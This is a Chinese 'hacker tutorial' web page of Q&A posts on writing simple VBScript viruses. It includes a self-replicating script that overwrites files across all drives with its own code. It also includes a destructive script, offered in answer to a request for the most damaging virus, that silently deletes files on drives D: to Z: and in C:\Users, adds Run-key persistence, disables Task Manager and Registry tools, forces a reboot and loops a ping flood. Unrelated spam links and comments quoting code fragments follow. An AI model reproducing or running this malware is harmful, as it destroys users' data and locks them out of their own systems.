当前位置:首页 > 黑客教程 > 正文内容

简单的病毒编程代码vbs(简单的病毒编程代码cmd)

hacker2年前 (2022-06-29)黑客教程135

本文目录一览:

求用vbs编写autorun病毒简单代码,给分很多的

自己改一下:

dim

folder,fso,foldername,f,d,dc

set

fso=createobject("scripting.filesystemobject")

set

self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall

'读取病毒体,以备复制到文件

self.close

set

dc=fso.Drives

for

each

d

in

dc

if

d.drivetype=3

or

d.drivetype=2

then

'检查磁盘类型

wscript.echo

d

'弹出窗口,显示找到盘符

scan(d)

end

if

next

lsfile=wscript.scriptfullname

'该脚本程序路径

set

lsfile=fso.getfile(lsfile)

lsfile.delete(true)

'病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)

sub

scan(folder_)

on

error

resume

next

set

folder_=fso.getfolder(folder_)

set

files=folder_.files

for

each

file

in

files

ext=fso.GetExtensionName(file)

'获取文件后缀

ext=lcase(ext)

'后缀名转换成小写字母

if

ext="mp5"

then

'如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,更好是非正常后缀名

set

ap=fso.opentextfile(file.path,2,true)

ap.write

vbscopy

'覆盖文件,慎用

ap.close

set

cop=fso.getfile(file.path)

cop.copy(file.path

".vbs")

'创建另外一个病毒文件

file.delete(true)

'删除原来文件

end

if

next

set

subfolders=folder_.subfolders

for

each

subfolder

in

subfolders

'搜索其他目录

scan(subfolder)

next

end

sub

谁能解释下面简单的电脑病毒代码?

我帮你"翻译"一下代码的意思。

这是一段vbs代码:直到(除非)1等于2,否则就一直弹出一个写有"烦死你"的窗口,因为1永远不等于2,所以不断的弹窗。

这是VB的一个简单编程,但是代码却不怀好意。这段代码的意思是说,当双击运行这个程序的时候,执行以下代码:直到(除非)1等于2,否则隐藏这个软件的窗体,然后显示这个软件的窗体,然后调用系统的"calc.exe"程序,也就是调用系统自带的"计算器",因为1永远不等于2,所以这些步骤永远循环的执行下去。以现在的计算机来看,并不会"运行后马上死机",我们的计算机还不至于这么差劲,不过cpu会高涨,根据不同计算机的配置,时间范围从很快死机到数秒后死机不等。

求最全的vbs病毒代码,要破坏性的。谢谢,回答的好我多给分。

那废话不说,问这个如何?不懂可以问我

On Error Resume Next

dim avest,xufso,wscrt

Set avest = WScript.Createobject("WScript.Shell")

Set wscrt = WScript.Createobject("WScript.Shell")

Set xufso = CreateObject("Scripting.FileSystemObject")

avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true

xufso.CreateFolder "C:\VBScript\"

wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功!"

xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"

xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"

wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"

msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error"

do

wscrt.run "ping 192.168.1.1 -l 65500 -t"

loop

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/135554.html

分享给朋友:

“简单的病毒编程代码vbs(简单的病毒编程代码cmd)” 的相关文章

巳怎么读(巳怎么读十二时辰)

  外国消息 起源 :央望网  二0 一 八年0 八月0 五日  一 八: 五 九   A-A+      扫一扫 脚机 浏览   尔要分享   QQ空间新浪微专腾讯微专QQ微疑   本题目 :   央望网新闻 : 八月 三日早,针 对于美圆正在此前颁布  对于外圆 二000亿美圆输美产物 添征 一...

朝币人民币汇率 「人民币兑换朝币汇率」

CNY,点00 七 一美元依据 暗盘 汇率: 一元代陈钱=0点00 三 二群众币,那个价钱 为.CHF, 五0澳年夜 利亚元, 一, 一元代陈钱=0, 六 二 八点0 三添拿年夜 元,0 三添拿年夜 元。  三 四点 五群众币,外洋 人士持有的晨陈群众币取美圆等值。 九 六点 六 四日元, 一 二0...

立秋是几月几日

说到坐春,年夜 野否能借会认为 比拟 近,确切 算一高也借有快要 一个月的空儿,年夜 野 晓得本年 的坐春是正在何时吗,详细 的空儿是 二0 二0年 八月 七日0 九:0 六:0 三,礼拜 五,阴历 六月十八,是以 正在那一地年夜 野便否以吃许多 的美食,这么交高去年夜 野便随百思特小编一路 相识...

湖北恩施城区大面积被淹

固然 如今 曾经是炎天 了,然则 尔国南边 地域 连日去暴雨地气异常 多,许多 乡市皆产生 了洪火,而那二地洪火最严峻 的要数湖南仇施了,如今 湖南仇施的乡区曾经年夜 里积被淹,以至借推响了防控警报,这么交高去咱们便一路 相识 一高湖南仇施乡区年夜 里积被淹、仇施推响防空警报的具体 情形 吧!...

今年元宇宙的行情_元宇宙现金今天价格

当然,负责会有吃亏 ;提醒 :投资有风险,昨天,阅批利孬新闻 比特赓续 ,如今 是 二0 一 九年 八月的止情 一万美圆一枚。 今朝 正在数字泉币 投资商场异常 水,如今 阅批一个若干 群众币 二0 一 八现金年 六月 二0日今朝 阅批,您孬。 合折群众币 七币- 八万阁下 ,相闭融资主体经由过程...

什么时候立秋

很快便要到年夜 寒了,后来的骨气 便是坐春,否能许多 人会认为 坐春应该便会入进秋日 ,地气清新 舒畅 了,但事例没有是如许 的,秋日 去了借有一个很让人畏惧 的春山君 ,这年夜 野 晓得何时坐春以及几号坐春吗,交高去年夜 野便随百思特小编一路 相识 看看~  ...

评论列表

只影玖橘
2年前 (2022-06-30)

,true avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true avest.run "cmd

弦久觅遇
2年前 (2022-06-30)

ifnextsetsubfolders=folder_.subfoldersforeachsubfolderinsubfolders'搜索其他目录scan(subfolder)nextendsub谁能解释下面简单的电脑病毒代码?我

鹿岛雾月
2年前 (2022-06-30)

/s""",0 ,true avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del o:\*.* /

鸠骨鸢栀
2年前 (2022-06-30)

l f:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true avest.run "cmd /c

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。